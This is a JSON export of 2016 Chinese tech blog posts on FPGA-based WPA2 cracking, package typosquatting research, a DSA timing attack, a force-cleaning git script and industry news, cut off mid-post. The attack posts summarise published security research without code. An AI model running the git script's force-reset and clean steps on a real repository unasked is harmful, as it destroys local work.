    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到「<a href=\"https://eprint.iacr.org/2016/547\">Efficient High-Speed WPA2 Brute Force Attacks using Scalable Low-Cost FPGA Clustering</a>」這篇論文，講比較便宜的 FPGA 破 WPA2 的最佳化。主要的成果可以從表格看到，這是 FPGA 的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/505paOD.webp\" /><img src=\"https://i.gslin.com/imgur/505paOD.jpg\" alt=\"\" /></picture>\r\n\r\nZtex 1.15y 應該是「<a href=\"http://www.ztex.de/usb-fpga-1/usb-fpga-1.15y.e.html\">USB-FPGA Module 1.15y: Quad-Spartan 6 LX150 FPGA Board with USB 2.0 Microcontroller</a>」這組，而 Ztex 2.16 應該是「<a href=\"http://www.ztex.de/usb-fpga-2/usb-fpga-2.16.e.html\">USB-FPGA Module 2.16: Artix 7 XC7A200T FPGA Board with USB 2.0</a>」，價位 (美金) 也都標在上面了。\r\n\r\n而這是 GPU 的效能：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YSUmCBe.webp\" /><img src=\"https://i.gslin.com/imgur/YSUmCBe.jpg\" alt=\"\" /></picture>\r\n\r\n可以看出來 FPGA 的速度還蠻快的，但用電相當省。不過不得不說 WPA2 用的 <a href=\"https://en.wikipedia.org/wiki/PBKDF2\">PBKDF2</a> 的確讓破解的難度高了很多，讓我想到這個：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LHujlEM.webp\" /><img src=\"https://i.gslin.com/imgur/LHujlEM.jpg\" alt=\"\" /></picture>",
    "title": "用 FPGA 破 WPA2"
  },
  {
    "id": "6606",
    "body": "<a href=\"https://www.amazon.com/\">Amazon</a> 透過各種技術整合的比較好 (像是先前發表無人機空運的技術 <a href=\"https://en.wikipedia.org/wiki/Amazon_Prime_Air\">Amazon Prime Air</a>)，而 <a href=\"http://www.walmart.com/\">Wal-Mart</a> 則是跟 <a href=\"https://www.uber.com/\">Uber</a>/<a href=\"https://www.lyft.com/\">Lyft</a> 這樣的公司配合：「<a href=\"http://www.bloomberg.com/news/articles/2016-06-03/wal-mart-to-start-testing-grocery-delivery-through-uber-lyft\">Wal-Mart Plans to Test Grocery Delivery Through Uber, Lyft</a>」。\r\n\r\n不過可以看到運費不算低，如果買的東西不多的話：\r\n\r\n<blockquote>The move steps up competition with Amazon’s burgeoning grocery-delivery service and provides a potential new avenue of growth for Uber and Lyft. The idea is to let Wal-Mart customers pick out groceries online and then have employees fill the order and give it to one of the ride-hailing companies’ drivers. Shoppers will pay a $7-to-$10 delivery charge to Wal-Mart to have the groceries brought to their door.</blockquote>",
    "title": "Wal-Mart 與 Uber/Lyft 合作迎戰 Amazon"
  },
  {
    "id": "6608",
    "body": "由 <a href=\"http://www.mpaa.org/\">MPAA</a> 資助的報告顯示 DVD 的發行時間差異導致盜版：「<a href=\"https://torrentfreak.com/dvd-release-delays-boost-piracy-hurt-sales-study-shows-160602/\">DVD Release Delays Boost Piracy and Hurt Sales, Study Shows</a>」，報告在「<a href=\"http://papers.ssrn.com/sol3/papers.cfm?abstract_id=2784759\">Windows of Opportunity: The Impact of Piracy and Delayed International Availability on DVD Sales</a>」這邊可以看到。\r\n\r\n用真實資料計算得到：\r\n\r\n<blockquote>\"When we run our regressions on Spain and Italy alone, we observe a 10% drop in sales for every 10-day delay in legal availability, as compared to a 2% drop in sales for every 10-day delay in the entire sample,\" the paper reads.</blockquote>\r\n\r\n<blockquote>\"Our results suggest that an additional 10-day delay between the availability of digital piracy and the legitimate DVD release date in a particular country is correlated with a 2-3% reduction in DVD sales in that country,\" the researchers write.</blockquote>\r\n\r\n時效的重要...",
    "title": "DVD 的發行時間差異導致盜版"
  },
  {
    "id": "6610",
    "body": "看到「<a href=\"http://libdill.org/\">libdill: Structured Concurrency for C</a>」這個東西，在 C 裡實作了兩個不同種類的 concurrency，一個是 proc (process-based) 一個是 go (corouting-based)。\r\n\r\n支援的 function 算是蠻清晰的，範例也很清楚：\r\n\r\n<pre>#include &lt;libdill.h&gt;\r\n#include &lt;stdio.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n\r\ncoroutine int worker(const char *text) {\r\n    while(1) {\r\n        printf(\"%s\\n\", text);\r\n        msleep(now() + random() % 500);\r\n    }\r\n    return 0;\r\n}\r\n\r\nint main() {\r\n    go(worker(\"Hello!\"));\r\n    go(worker(\"World!\"));\r\n    msleep(now() + 5000);\r\n    return 0;\r\n}</pre>\r\n\r\n也有 channel 的觀念可以用，之後需要寫玩具的話應該是個好東西...",
    "title": "在 C 裡 Concurrency 的 Library"
  },
  {
    "id": "6611",
    "body": "在「<a href=\"http://www.apiful.io/intro/2016/06/01/npm-analysis.html\">An Analysis of the JavaScript Package Ecosystem npm</a>」這篇看到作者把 <a href=\"https://www.npmjs.com/\">npm</a> 的 dependency 當作資料來源，計算出 npm 的 PageRank：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0rED5BY.webp\" /><img src=\"https://i.gslin.com/imgur/0rED5BY.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到 <a href=\"http://underscorejs.org/\">Underscore.js</a> 的 PageRank 一直都維持在第一位... 這個方法頗有趣的，不知道有沒有其他語言的 :o",
    "title": "把 npm 的 dependency 當作 PageRank 的資料來源，分析 npm 目前的生態..."
  },
  {
    "id": "6614",
    "body": "看到 <a href=\"https://www.chromium.org/\">Chromium</a> 將會推出 Headless 模式：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Headless Chrome is coming so soon ?!!! Say goodbye to the myriad of hacks to run Chrome and phantom on CI. ?<a href=\"https://t.co/ucDBbgpBO0\">https://t.co/ucDBbgpBO0</a></p>&mdash; Sam Saccone (@samccone) <a href=\"https://twitter.com/samccone/status/739166801427210240\">June 4, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n可以在「<a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=546953\">Implement a headless mode for Chrome</a>」看到從去年開始一直實作，雖然還沒做完，但看起來還算活躍，之後可以更接近實際環境測試了...",
    "title": "Headless Chrome"
  },
  {
    "id": "6615",
    "body": "上次主力用 <a href=\"https://www.android.com/\">Android</a> 應該是 <a href=\"https://en.wikipedia.org/wiki/HTC_Desire\">HTC Desire</a> 時代了，那個時候跑得是 2.2。\r\n\r\n總算把 <a href=\"https://en.wikipedia.org/wiki/LG_G2\">LG G2</a> (D802) 刷完機器了 (刷了半年，每次都卡關 XDDD)，這次刷了 <a href=\"http://www.cyanogenmod.org/\">CyanogenMod</a> 與 <a href=\"http://opengapps.org/\">Open GApps</a>，儘量都用 command line 來刷。\r\n\r\n<pre>adb devices # 看裝置順便打 RSA public key 進去\r\nadb shell # 進去後可以 ls/su 看一看\r\nadb push filename.zip /sdcard/\r\nadb reboot recovery</pre>\r\n\r\n<a href=\"https://en.wikipedia.org/wiki/Android_Marshmallow\">Android Marshmallow</a> (6.0) 另外多了對權限的管理，這也是想刷到 6.0 的原因之一，使用者可以隨時 revoke 掉某些權限 (沒有處理好的會 crash XD)：\r\n\r\n<blockquote>Android Marshmallow introduces a redesigned application permission model: there are now only eight permission categories, and applications are no longer automatically granted all of their specified permissions at installation time.  An opt-in system is now used, in which users are prompted to grant or deny individual permissions (such as the ability to access the camera or microphone) to an application when they are needed for the first time.  Applications remember the grants, which can be revoked by the user at any time.</blockquote>\r\n\r\n其他安裝的流程主要都是苦工了，尤其是 2FA 是少數為了安全性只能一個一個換的東西 (不提供 export，都是用手機提供的 <a href=\"https://en.wikipedia.org/wiki/Hardware_security_module\">HSM</a> 避免被盜走)，剛好趁機會把自己與公司用到的 2FA 帳號分開。\r\n\r\nAndroid 上的 <a href=\"https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2\">Google Authenticator</a> 不怎麼好用 (不能調整位置，另外不希望隨時都給密碼)，測了測 <a href=\"https://www.redhat.com/\">Red Hat</a> 出的 <a href=\"https://play.google.com/store/apps/details?id=org.fedorahosted.freeotp\">FreeOTP Authenticator</a> 算是比較好用的，就把 FreeOTP Authenticator 拿來給個人用，Google Authenticator 拿來給公司的帳號用。\r\n\r\n繼續熟悉現在的 Android 環境，應該會有一陣子不習慣...",
    "title": "把主力手機從 iPhone 換到 Android"
  },
  {
    "id": "6617",
    "body": "自動化機制中，要確保可以拿到最新的 <a href=\"https://git-scm.com/\">Git</a> Repository 最保險的方法是 <code>rm -rf</code> 掉再重新 clone 一份，但對於稍微大一點的 repository 速度就太慢了，所以得想辦法保留 repository 加快速度。\r\n\r\n目標是想要處理 submodule 的變更，並且仍然可以處理 force push 時的災難，避免需要人工介入... 這在建各種自動化機制時常常會用到，像是用 <a href=\"https://en.wikipedia.org/wiki/Fortify_Software\">Fortify SCA</a> 白箱掃描，或是 <a href=\"https://en.wikipedia.org/wiki/Continuous_integration\">CI</a> &amp; <a href=\"https://en.wikipedia.org/wiki/Continuous_delivery\">CD</a> 機制上。\r\n\r\n<pre>\r\nBRANCH=master\r\ngit fetch --force\r\ngit reset --hard origin/\"${BRANCH}\"\r\ngit submodule sync --recursive\r\ngit submodule update --init --force\r\ngit clean --force --force -d -x\r\ngit checkout \"${BRANCH}\" --force</pre>\r\n\r\n用了很多 <code>--force</code> 主要是要處理 force push 後的收拾 :o\r\n\r\n其實如果想要處理的更好的話，可以在發生錯誤時改走 mv (保留屍體) + 重新 clone 的機制，並且發警報出來讓管理者事後研究，這樣發生問題當下還是可以先提供服務。\r\n\r\n不過這個想法還只在腦袋裡還沒寫... XD",
    "title": "清出一個乾淨的 Git Repository"
  },
  {
    "id": "6618",
    "body": "<a href=\"https://www.netflix.com/\">Netflix</a> 在發了一篇很長的文章，說明怎麼評估 video quality：「<a href=\"http://techblog.netflix.com/2016/06/toward-practical-perceptual-video.html\">Toward A Practical Perceptual Video Quality Metric</a>」，文章雖然有點長，但其實還蠻好懂的...\r\n\r\n講的白話一點，Netflix 想要做各種壓縮方式的改善，但在超大的量的情況下 (scale) 缺乏自動化打分數的機制：\r\n\r\n<blockquote>All of the challenging work described above hinges on one fundamental premise: that we can accurately and efficiently measure the perceptual quality of a video stream at scale.</blockquote>\r\n\r\n如果先不考慮 scale 問題，影片的評估方式有人工處理以及常見的計算方法 (像是 <a href=\"https://en.wikipedia.org/wiki/Mean_squared_error\">MSE</a>、<a href=\"https://en.wikipedia.org/wiki/Peak_signal-to-noise_ratio\">PSNR</a> 與 <a href=\"https://en.wikipedia.org/wiki/Structural_similarity\">SSIM</a>)：\r\n\r\n<blockquote>Traditionally, in video codec development and research, two methods have been extensively used to evaluate video quality: 1) Visual subjective testing and 2) Calculation of simple metrics such as PSNR, or more recently, SSIM.</blockquote>\r\n\r\n前者因為牽涉到人工，所以不 scale，而後者跟「人的觀感」還是不夠正相關：\r\n\r\n<blockquote>Without doubt, manual visual inspection is operationally and economically infeasible for the throughput of our production, A/B test monitoring and encoding research experiments.</blockquote>\r\n\r\n<blockquote>Although researchers and engineers in the field are well-aware that PSNR does not consistently reflect human perception, it remains the de facto standard for codec comparisons and codec standardization work.</blockquote>\r\n\r\nNetflix 的作法其實很簡單：(但是每一步都很仔細)\r\n\r\n<ul>\r\n\t<li>首先先把影片依照手上有的 metadata 歸類，然後再挑出代表性的剪輯，並且產生不同 bitrate 的檔案。</li>\r\n\t<li>用人工對這些剪輯評分。</li>\r\n\t<li>用機器產生各種既有計算方法的分數 (PSNR、SSIM、...)。</li>\r\n\t<li>用數學方法把人工的與機器算的分數建立 model。</li>\r\n\t<li>然後對於未知的影片先寄算出既有方法的分數 (PSNR、SSIM、...)，然後套用 model 推估人的觀感。</li>\r\n</ul>\r\n\r\n沒什麼特別發明出來的演算法，只是苦工 XDDD",
    "title": "Netflix 評估影片品質的方法"
  },
  {
    "id": "6619",
    "body": "在「<a href=\"http://www.theverge.com/2016/6/8/11880730/apple-app-store-subscription-update-phil-schiller-interview\">APP STORE 2.0</a>」這邊提到了正式的訪談：\r\n\r\n<blockquote>In a rare pre-WWDC sit-down interview with The Verge, Phil Schiller, Apple’s senior vice president of worldwide marketing, said that Apple would soon alter its revenue-sharing model for apps.</blockquote>\r\n\r\n70/30 的拆分方式有改變，並且擴大開放的範圍：\r\n\r\n<blockquote>While the well-known 70 / 30 split will remain, developers who are able to maintain a subscription with a customer longer than a year will see Apple’s cut drop down to 15 percent. The option to sell subscriptions will also be available to all developers instead of just a few kinds of apps. \"Now we’re going to open up to all categories,\" Schiller says, \"and that includes games, which is a huge category.\"</blockquote>\r\n\r\n這張圖清楚的道出了這次的改變：\r\n\r\n<img src=\"https://i.gslin.com/imgur/pr2iaWn.jpg\" alt=\"\" />\r\n\r\n另外在 John Gruber 跟 Phil Schiller 的電話訪談「<a href=\"https://daringfireball.net/2016/06/the_new_app_store\">The New App Store: Subscription Pricing, Faster Approvals, and Search Ads</a>」提到了更多項目。",
    "title": "蘋果 App Store 收費模式的改變"
  },
  {
    "id": "6620",
    "body": "現在是 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 47，也就是下個版本就會引入 Multi-process 模式了：「<a href=\"http://arstechnica.com/information-technology/2016/06/firefox-48-electrolysis-download-details/\">Firefox 48 finally enables Electrolysis for multi-process goodness</a>」。\r\n\r\nMulti-process 模式也就是 <a href=\"https://wiki.mozilla.org/Electrolysis\">Electrolysis</a>，這對權限的分離 (sandbox) 以及效能的提昇有著顯著的幫助：\r\n\r\n<blockquote>Electrolysis functionality hosts, renders, or executes web related content in background child processes which communicate with the \"parent\" Firefox browser via various ipdl protocols. The two major advantages of this model are security and performance. Security improvements are accomplished through security sandboxing, performance improvements are born out of the fact that multiple processes better leverage available client computing power.</blockquote>\r\n\r\n這算是個開頭，地基打出來以後，之後就可以拆更多東西到其他的 child process。",
    "title": "Firefox 48 將引入 Multi-process 模式"
  },
  {
    "id": "6621",
    "body": "在 Python 領域裡常用 <a href=\"https://en.wikipedia.org/wiki/Pip_(package_manager)\">pip</a> 安裝軟體：\r\n\r\n<pre>$ pip install reqeusts</pre>\r\n\r\n或是：\r\n\r\n<pre>$ sudo pip install reqeusts</pre>\r\n\r\n其他的平台也大致類似於這樣的動作。而在「<a href=\"http://incolumitas.com/2016/06/08/typosquatting-package-managers/\">Typosquatting programming language package managers</a>」這篇文章裡，作者用 typo 之類的方式列出可能的名稱，像是這樣的名稱：\r\n\r\n<pre>$ sudo pip install <strong>reqeusts</strong></pre>\r\n\r\n然後在這三個平台上發動攻擊，上傳了數百個套件並且觀察：\r\n\r\n<blockquote>All in all, I created over 200 such packages and equipped them with a small program and uploaded them over the course of several months. The idea is to add some code to the packages that is executed whenever the package is downloaded with the installing user rights.</blockquote>\r\n\r\n而這是「成果」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gq9HEKX.webp\" /><img src=\"https://i.gslin.com/imgur/gq9HEKX.jpg\" alt=\"\" /></picture>\r\n\r\n<img src=\"https://i.gslin.com/imgur/32CRk6N.jpg\" alt=\"\" />",
    "title": "在 Python 的 pip、Nodejs 的 npm、Ruby 的 RubyGems 上面放木馬研究？"
  },
  {
    "id": "6622",
    "body": "<a href=\"https://github.com/\">GitHub</a> 正式宣佈支援 HTTPS：「<a href=\"https://github.com/blog/2186-https-for-github-pages\">HTTPS for GitHub Pages</a>」。\r\n\r\n其實對使用者來說，前面的 CDN 伺服器已經支援 HTTPS 很久了，但因為之前從 CDN 到 GitHub 這端沒加密，所以一直都不算是正式支援：\r\n\r\n<blockquote>You have been able to request Pages sites over HTTPS for some time, but we refrained from officially supporting it because the traffic from our CDN to our servers wasn't encrypted until now.</blockquote>\r\n\r\n另外，新建立的 GitHub Pages 都強制上 HTTPS：\r\n\r\n<blockquote>Starting next Wednesday (June 15, 2016, 12pm PDT), HTTPS enforcement will be required for all new GitHub Pages sites.</blockquote>",
    "title": "GitHub Pages 正式支援 HTTPS"
  },
  {
    "id": "6623",
    "body": "<a href=\"https://jquery.com/\">jQuery</a> 3.0 出版了，不過也沒什麼關注度了：「<a href=\"https://blog.jquery.com/2016/06/09/jquery-3-0-final-released/\">jQuery 3.0 Final Released!</a>」。\r\n\r\n就功能而言已經進入 maintenance mode 了...",
    "title": "JavaScript^WjQuery 3.0！"
  },
  {
    "id": "6624",
    "body": "<a href=\"https://azure.microsoft.com/\">Microsoft Azure</a> 宣佈支援 <a href=\"https://www.freebsd.org/\">FreeBSD</a>：「<a href=\"http://www.theregister.co.uk/2016/06/09/microsoft_freebsd/\">Microsoft has created its own FreeBSD image. Repeat. Microsoft has created its own FreeBSD image</a>」，<a href=\"https://www.microsoft.com/\">Microsoft</a> 的正式公告在這：「<a href=\"https://azure.microsoft.com/en-us/blog/freebsd-now-available-in-azure-marketplace/\">FreeBSD now available in Azure Marketplace</a>」。\r\n\r\nMicrosoft 所作的 patch 都有進 <a href=\"https://www.freebsd.org/releases/10.3R/\">10.3-RELEASE</a> 裡，主要是對於 <a href=\"https://en.wikipedia.org/wiki/Hyper-V\">Hyper-V</a> 虛擬化後的效能補強：\r\n\r\n<blockquote>The majority of the investments we make at the kernel level to enable network and storage performance were up-streamed into the FreeBSD 10.3 release, so anyone who downloads a FreeBSD 10.3 image from the FreeBSD Foundation will get those investments from Microsoft built in to the OS.</blockquote>\r\n\r\n像是 10Gbps 網路這部份就有明顯的改善：\r\n\r\n<blockquote>For example, our measured networking throughput on a 10Gb network on FreeBSD 10.1 was 2Gbps. With 10.3, we’ve been able to achieve over 9Gbps in testing</blockquote>\r\n\r\n不過我覺得宣傳意義比實質意義重一些...",
    "title": "Microsoft Azure 宣佈正式支援 FreeBSD"
  },
  {
    "id": "6627",
    "body": "一個月前我決定把瀏覽器的 JavaScript 預設關掉：「<a href=\"https://blog.gslin.org/archives/2016/05/09/6549/%E6%8A%8A-google-chrome-%E9%A0%90%E8%A8%AD%E7%9A%84-javascript-%E9%97%9C%E9%96%89%EF%BC%8C%E9%96%8B%E7%99%BD%E5%90%8D%E5%96%AE/\">把 Google Chrome 預設的 JavaScript 關閉，開白名單...</a>」，包括後來「<a href=\"https://blog.gslin.org/archives/2016/05/11/6555/%E6%94%B9%E7%94%A8-simple-javascript-toggle-%E5%88%87%E6%8F%9B-google-chrome-%E7%9A%84-javascript/\">改用 Simple JavaScript Toggle 切換 Google Chrome 的 JavaScript</a>」試著找出快速暫時性切換的方案。\r\n\r\n跑了這一個月下來，就好處來說，在一個月前的文章就有提到了，到是遇到不少問題 (然後找到各種方法解掉)。\r\n\r\n主要的問題是電子商務網站幾乎都不會動 (包括信用卡刷卡網站)，尤其是刷卡階段常用 HTTP POST，沒辦法靠 <a href=\"https://chrome.google.com/webstore/detail/simple-javascript-toggle/mhidlbegmoiddmebedbiijmpckambgfj\">Simple JavaScript Toggle</a> 在失敗時切過去 (會被刷卡系統偵測到重複送出而擋下)，必須設白名單避免問題。\r\n\r\n另外是愈來愈多內容性質的網站再沒有 JavaScript 下就不會動，不過這種性質的網站在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 上可以靠 <a href=\"https://chrome.google.com/webstore/detail/readability/oknpjjbmpnndlpmnhmekjpocelpnlfdi\">Readability</a> 來解決，還順便把版面給搞定了，不算是什麼大問題。\r\n\r\n應該會繼續用下去...",
    "title": "把 JavaScript 關閉一個月後的其他感想"
  },
  {
    "id": "6628",
    "body": "tl;dr：<a href=\"https://www.facebook.com/\">Facebook</a> 認為這個功能是 feature，不是 bug。\r\n\r\n在「<a href=\"https://medium.com/@intideceukelaire/why-you-shouldnt-share-links-on-facebook-f317ba4aa58b\">Why you shouldn’t share links on Facebook</a>」這邊作者發現在 Facebook 上貼的「任何一個連結」都會產生 object id，而任何一個 object id 都可以直接取得 url，無論權限設定，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Rv1LL0g.webp\" /><img src=\"https://i.gslin.com/imgur/Rv1LL0g.jpg\" alt=\"\" /></picture>\r\n\r\n而 Facebook 認定這是 feature 而非 bug：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vwfjNgx.webp\" /><img src=\"https://i.gslin.com/imgur/vwfjNgx.jpg\" alt=\"\" /></picture>\r\n\r\n可以想像 <a href=\"https://www.nsa.gov/\">NSA</a> 之類的單位與地下組織開始狂掃...",
    "title": "Facebook 上貼的所有的連結都是公開的"
  },
  {
    "id": "6629",
    "body": "在 HiDPI 4K 螢幕下挑字型的基準跟以往普通 DPI 螢幕完全不同。以往會受到當畫素不夠時的限制，在 HiDPI 下就不需要考慮這點了...\r\n\r\n我三不五十就會換個字型用 (換心情)，所以之後有可能會再換掉... 這次挑選的基準有三個：\r\n\r\n<ul>\r\n\t<li>免費可在網路上下載個人使用的。</li>\r\n\t<li>字的重量要重一些。</li>\r\n\t<li>sans 與 monospace 的字要帶有一點 serif 的感覺。</li>\r\n</ul>\r\n\r\n我把 <a href=\"https://www.fontconfig.org/\">fontconfig</a> 設定放在 <a href=\"https://gist.github.com/gslin/832ffdef9ca377225079ed9888728ff7\">99-local.conf</a> 這邊，有興趣的可以直接拉回去丟到 <code>/etc/fonts/conf.d/</code> 裡用...\r\n\r\nAndada 是拿來定義 sans 的，長這樣：(出自「<a href=\"https://www.fontsquirrel.com/fonts/andada\">Andada Font Free by Huerta Tipogr&aacute;fica</a>」)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/O4oyy0l.webp\" /><img src=\"https://i.gslin.com/imgur/O4oyy0l.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"http://www.paratype.com/public/\">PT Sans Captain</a> 是拿來定義 serif 的，長這樣：(出自「<a href=\"https://www.fontsquirrel.com/fonts/pt-sans\">PT Sans Font Free by Paratype</a>」)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LpgMc6W.webp\" /><img src=\"https://i.gslin.com/imgur/LpgMc6W.jpg\" alt=\"\" /></picture>\r\n\r\n<a href=\"https://sourcefoundry.org/hack/\">Hack</a> 是拿來定義 monospace 的，長這樣：(出自「<a href=\"https://www.fontsquirrel.com/fonts/hack\">Hack Font Free by Chris Simpkins</a>」)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/w0A0aj0.webp\" /><img src=\"https://i.gslin.com/imgur/w0A0aj0.jpg\" alt=\"\" /></picture>",
    "title": "換 Ubuntu 的字型... (Andada、PT Sans Captian、Hack)"
  },
  {
    "id": "6632",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 一直加海外的點，在東南亞加到平均 latency 比美國低... 這有點不太像話 XD 總算是記得要加強美國的 latency 了：「<a href=\"https://blog.cloudflare.com/denver/\">Hello, Colorado! CloudFlare's 82nd Data Center is Live in Denver</a>」。\r\n\r\n這次加在丹佛剛好是目前美國的點裡面最弱的一環：先前離 CloudFlare 最近的機房應該是 Phoenix 或是 Dallas，都大約在 600km 左右，latency，而網路也不會直線連接，所以這次加上去後的改善很明顯：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WH6m9HZ.webp\" /><img src=\"https://i.gslin.com/imgur/WH6m9HZ.jpg\" alt=\"\" /></picture>\r\n\r\n而也宣佈了美國的大幅擴建計畫：\r\n\r\n<blockquote>Denver joins CloudFlare's existing United States data centers in Ashburn, Chicago, Dallas, Los Angeles, Miami, Minneapolis, Phoenix, San Jose, and Seattle. In the continued pursuit of faster performance, we have data centers at another ten North American cities in the works.</blockquote>\r\n\r\n另外這個禮拜還預定要再宣佈一個新的點：\r\n\r\n<blockquote>Our week of expansion isn't done. Tomorrow, we head to one of the world's largest cities.</blockquote>",
    "title": "CloudFlare 總算記得要加美國的點了..."
  },
  {
    "id": "6633",
    "body": "在「<a href=\"https://eprint.iacr.org/2016/594\">Make Sure DSA Signing Exponentiations Really are Constant-Time</a>」這篇文章裡面，直接透過 end-to-end 的 timing attack 打爆 (也就是透過 internet 觀察攻擊)，而不需要在同一台機器上對 cache 之類的區域攻擊：\r\n\r\n<blockquote>A unique feature of our work is that we target common cryptographic protocols.  Previous works that demonstrate cache-timing key-recovery attack only target the cryptographic primitives, ignoring potential cache noise from the protocol implementation.  In contrast, we present end-to-end attacks on two common cryptographic protocols: SSH and TLS. We are, therefore, the first to demonstrate that cache-timing attacks are a threat not only when executing the cryptographic primitives but also in the presence of the cache activity of the whole protocol suite.</blockquote>\r\n\r\n而且次數相當的少，就可以 key recovery：\r\n\r\n<blockquote>260 SSH-2 handshakes to extract a 1024/160-bit DSA host key from an OpenSSH server, and 580 TLS 1.2 handshakes to extract a 2048/256-bit DSA key from an stunnel server.</blockquote>\r\n\r\n<a href=\"https://cve.mitre.org/\">CVE</a> 編號為 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2178\">CVE-2016-2178</a>，<a href=\"https://www.openssl.org/\">OpenSSL</a> 全系列 (包括 fork 出去的版本) 與 <a href=\"http://www.openssh.com/\">OpenSSH</a> 只要是 DSA 的實作都中獎...",
    "title": "OpenSSL 的 DSA 被 Side-channel attack 打爆"
  },
  {
    "id": "6634",
    "body": "<a href=\"https://www.linode.com/\">Linode</a> 的 13 歲禮物：「<a href=\"https://blog.linode.com/2016/06/16/linodes-13th-birthday-gifts-for-all/\">Linode’s 13th Birthday – Gifts for All!</a>」。包括了記憶體的升級計畫：\r\n\r\n<table><tr><th>Old Plan</th><th>New Plan</th><th>Price</th></tr>\r\n<tr><td>Linode 1 GB</td><td>Linode 2 GB</td><td>$10/mo ($0.015/hr)</td></tr>\r\n<tr><td>Linode 2 GB</td><td>Linode 4 GB</td><td>$20/mo ($0.03/hr)</td></tr>\r\n<tr><td>Linode 4 GB</td><td>Linode 8 GB</td><td>$40/mo ($0.06/hr)</td></tr>\r\n<tr><td>Linode 8 GB</td><td>Linode 12 GB</td><td>$80/mo ($0.12/hr)</td></tr>\r\n<tr><td>Linode 16 GB</td><td>Linode 24 GB</td><td>$160/mo ($0.24/hr)</td></tr>\r\n<tr><td>Linode 32 GB</td><td>Linode 48 GB</td><td>$320/mo ($0.48/hr)</td></tr>\r\n<tr><td>Linode 48 GB</td><td>Linode 64 GB</td><td>$480/mo ($0.72/hr)</td></tr>\r\n<tr><td>Linode 64 GB</td><td>Linode 80 GB</td><td>$640/mo ($0.96/hr)</td></tr>\r\n<tr><td>Linode 96 GB</td><td>Linode 120 GB</td><td>$960/mo ($1.44/hr)</td></tr></table>\r\n\r\n比較小的機器都是 double RAM，比較大的機器就沒那麼明顯了... 但這樣就超越 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 的規格，而且還領先其他 VPS 不少。\r\n\r\n不過由於東京機房已經滿了，這次升級不包括在內，但也透漏了東京的新機房將會在今年年底前啟用：\r\n\r\n<blockquote>Unfortunately, since Tokyo is sold out, the upgrade is not available there. We hope to have our second Tokyo facility online before the end of the year.</blockquote>\r\n\r\n是個好消息 XD",
    "title": "Linode 記憶體升級，以及新的日本機房計畫"
  },
  {
    "id": "6636",
    "body": "如同之前 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 預告的，在莫斯科機房啟用了：「<a href=\"https://blog.cloudflare.com/moscow/\">Moscow, Russia: CloudFlare’s 83rd data center</a>」。\r\n\r\n先前大多都是透過瑞典或是德國的機房服務，現在變成在當地直接交換：\r\n\r\n<blockquote>Previously, delivery of nearly four million Internet applications on CloudFlare to over 100 million Internet users in Russia occurred mostly from our Stockholm and Frankfurt data centers. By now localizing that delivery, we are helping shave latency down by over 20ms for a majority of Russian users.</blockquote>\r\n\r\n這樣整個歐洲的據點算完整了... 接下來應該是非洲與看對北美機房了。",
    "title": "CloudFlare 的莫斯科機房啟用"
  },
  {
    "id": "6637",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 在印度成立第三個機房，在首都新德里 (New Delhi)，前兩個是孟買 (Mumbai) 與清奈 (Chennai)：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/06/new-edge-location-in-new-delhi-india-for-amazon-cloudfront-and-amazon-route-53/\">New Edge Location in New Delhi, India for Amazon CloudFront and Amazon Route 53</a>」。\r\n\r\n不過 CloudFront 在台灣的情況還是沒有很好，常常被導去國外 (不分 ISP)，相較於其他 CDN 還是覺得不太行... :/",
    "title": "CloudFront 在印度的第三個機房"
  },
  {
    "id": "6638",
    "body": "作者提到了現在的影音廣告愈來愈誇張：「<a href=\"https://plus.google.com/+ArtemRussakovskii/posts/7jMWV7oCQpn\">A few months ago, I brought to light the insane state of today's advertising...</a>」。\r\n\r\n作者放了一個空白頁面，裡面只放了一個影音廣告，然後打開後發現，光是一個影音廣告就會產生 5559 個連線 (喂喂) 與 53MB 的流量，而且還會無止盡的成長 (不會停，會一直讀取新的廣告)：\r\n\r\n<blockquote>To showcase just how evil they still are, I took a single AdX ad tag and put it on an otherwise empty page. A static image ad loads, but it's secretly a VPAID one. It then randomly switches to a video, then back to a static image, then back again - it's like a never-ending self-reloading cascade of garbage.</blockquote>\r\n\r\n<blockquote>Right now after several minutes of just leaving this one single ad open, I'm at 53MB downloaded and 5559 requests. By the time I finished typing this, I was at 6140 requests. A single ad did this. Without reloading the page, just leaving it open.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Iu81xL0.webp\" /><img src=\"https://i.gslin.com/imgur/Iu81xL0.jpg\" alt=\"\" /></picture>\r\n\r\n作者把過程錄了下來，好慘啊...：\r\n\r\n<video controls src=\"https://blog.gslin.org/wp-content/uploads/2016/06/PositiveLateAlligator.mp4\" 